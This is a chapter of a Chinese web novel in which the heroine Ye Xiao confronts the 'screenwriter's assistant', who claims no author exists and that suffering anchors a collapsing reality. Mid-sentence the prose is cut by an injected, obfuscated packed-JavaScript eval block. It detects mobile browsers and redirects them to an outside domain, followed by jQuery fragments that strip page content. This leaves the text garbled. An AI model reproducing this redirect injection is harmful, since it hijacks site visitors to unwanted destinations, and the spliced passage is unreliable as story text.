通往导演室的走廊，与殡仪馆其他地方的破败血腥截然不同。它异常洁净、寂静、冰冷。墙壁是光滑无缝的暗色金属，地面是反射着微弱顶光的黑色材质，空气里弥漫着一种类似医院消毒室和服务器机房的混合气味，没有任何尘埃，也没有丝毫血腥。
这里没有傀儡，没有工作人员，甚至没有明显的监控设备。只有一种无处不在的、沉重的、令人窒息的被注视感。仿佛整条走廊本身就是一个活着的、沉默的观察者。
夜鸮拖着伤腿，一步一步走在其中。脚步声被吸音材料吞噬，只剩下她自己沉重的呼吸和心脏（如果那团痛苦凝聚物还能称之为心脏）的剧烈搏动。手中的银币冰冷刺骨。
灰烬棱镜在这里运转得异常艰难，仿佛信号受到了极强的干扰。它能提供的视野变得模糊，只能勉强解析出这条走廊本身就是一个巨大的规则约束场，任何非常规的能量波动都会被瞬间压制和锁定。
她别无选择，只能前行。
走廊的尽头，是一扇没有任何标识、没有任何把手、与墙壁融为一体的纯白色大门。
当她走近时，大门无声无息地向两侧滑开，露出后面的景象。
导演室。
并非想象中堆满屏幕和操控台的混乱之地。
而是一个极其广阔、简约到近乎虚无的空间。
四壁、天花板、地面都是无瑕的纯白，延伸至视野尽头，看不到任何边界。光线不知从何而来，均匀柔和，却没有任何温度。
空间中央，悬浮着唯一一件物体——一张宽大的、造型流畅的白色沙发。
沙发上，坐着一个人。
编剧助理。
他换了一身衣服，简单的黑色丝绸衬衫和长裤，衬得皮肤愈发苍白。脸上那半张华丽的羽毛眼罩不见了，露出完整的面容——一张极其俊美、却缺乏血色的脸，五官精致如同雕琢，但那双眼睛……那双眼睛是近乎透明的灰色，里面没有任何情绪，只有一种深不见底的、仿佛能洞穿一切的疲惫与虚无。
他并没有看夜鸮，而是微微侧着头，望着前方无尽的纯白虚空，仿佛在欣赏一场只有他能看见的演出。
他的指尖，无意识地在沙发扶手上轻轻敲击着，那节奏复杂而混乱，仿佛无数首绝望乐曲的碎片糅合在一起。
在沙发周围的地面上，散落着一些东西：几个空了的、标签模糊的药瓶。一本摊开的、写满潦草疯狂字迹和复杂公式的笔记本。还有……一把看起来普通却异常干净的解剖刀，刀尖朝下，插在地面，微微晃动。
夜鸮停在门口，没有立刻进去。
眼前的男人，与她之前见过的那个永远带笑、玩世不恭的编剧助理，判若两人。卸下了所有伪装，只剩下一种近乎崩断的紧绷感和深入骨髓的倦怠。
“站在门口，是终于学会了恐惧，还是在评估该如何撕咬我？”
他没有回头，透明灰色的眼睛依旧望着虚空，声音平静无波，却比任何威胁都更令人心悸。那敲击扶手的指尖停顿了一瞬。
夜鸮深吸一口气，迈步走进了这片纯白的空间。脚下的触感柔软而诡异。
“我带来了你要的东西。”她开口，声音因长久沉默和虚弱而沙哑不堪，“我的痛苦，我的质问，还有……‘档案馆’里的灰尘。”
她摊开手，那枚古银币静静躺在掌心。
编剧助理终于缓缓转过头，那双虚无的灰色眼睛聚焦在她身上。那目光没有审视，没有好奇，更像是在……确认一件物品的状态。
“灰尘？”他极淡地勾了一下嘴角，与其说是笑，不如说是肌肉的轻微抽搐，“那是‘基石’的残骸。是失败者的丰碑。也是……最好的警示。”
他的目光掠过她残破的身体，腿上的伤，最终停留在她那双燃烧着不屈与质问的眼睛上。
“那么，问吧。”他向后靠进沙发，姿态慵懒，却像一头假寐的猛兽，“你不是一直想知道吗？那个……写了这一切的‘谁’。”
夜鸮直视着他那双令人不安的眼睛，将所有的恐惧与犹豫压下，将那句锤炼了无数次的质问，轰了出去：
“是你吗？！”
声音在纯白空间里回荡，显得异常突兀和尖锐。
编剧助理静静地看了她几秒，然后，发出了一声极其轻微、却让夜鸮浑身血液都几乎冻结的……轻笑。
那笑声里没有得意，没有嘲讽，只有一种……荒谬至极的悲哀。
他缓缓抬起手，指向四周无尽的纯白，指向那虚空。
“你看这四周可有一丝笔墨痕迹？我不过是个被困在无尽白卷前的读者，连篡改一个标点都需耗尽心血。”
他的声音低沉下去，带着一种梦呓般的疲惫。
“剧本？谁告诉你……一定有剧本？”他灰色的眼瞳中似乎闪过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383020|184138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一丝扭曲的痛苦，“如果……从来就没有什么编剧呢？”
“如果这一切，都只是一场……无人书写、自我演化的荒谬灾难？一场……纯粹熵增的狂欢？而我，我们……”他指了指自己，又指了指夜鸮，“……都只是试图在这片混乱中，找出一点可怜的、根本不存在的‘ pattern ’（模式）、‘ meaning ’（意义）的……可悲虫子？”
他猛地拿起身边一个空药瓶，手指因用力而发白。
“知道‘守门人’为什么存在吗？不是为了守护什么‘真相’，而是为了阻止外面更大的‘无意义’彻底吞噬这里仅存的、我们还能勉强理解的‘小范围混乱’！” “知道为什么需要‘剧情’吗？不是为了取悦谁，而是为了用相对‘有序’的痛苦和绝望，来锚定现实，防止它彻底滑向连痛苦都无法存在的、绝对的‘虚无’！” “知道为什么会有‘演员’和‘燃料’吗？因为需要观测者！需要意识来维持这片区域的‘现实性’！消亡的过程……本身就是一种锚定！”
他的语速加快，带着一种压抑已久的、近乎崩溃的激动。
“旧的体系崩溃了！‘他’（指向档案馆方向）试图修复，失败了，变成了废墟！我能做什么？我只能……利用这崩溃！引导这混乱！ 用更刺激的‘剧情’，更极致的‘情绪’，来加固这脆弱的堤坝！哪怕只是延缓那么一点点！”
他喘了口气，灰色的眼睛死死盯着夜鸮，仿佛要将这些残酷的真相钉进她的灵魂。
“你以为我是编剧？我不过是趴在腐朽堤坝上，用污泥和残骸勉强糊缝的徒劳者，连绝望都已是奢侈。”
夜鸮如遭雷击，怔在原地。
没有编剧？只有混乱？所有的痛苦和绝望，都只是为了……维持存在？
这个真相，比任何邪恶的阴谋都更加……令人绝望。
看着她震惊失措的表情，编剧助理（或许这个称谓已不再合适）眼中的激动缓缓褪去，重新变回那片深不见底的虚无和疲惫。
他松开药瓶，身体重新陷回沙发，仿佛刚才那番爆发耗尽了所有力气。
“现在，”他声音恢复平静，甚至带着一丝漠然，“你还想知道‘谁写的’吗？”
纯白空间里，只剩下死一般的寂静。
夜鸮站在那里，感觉自己刚刚建立起来的所有认知，都被彻底粉碎，抛入了无尽的虚空。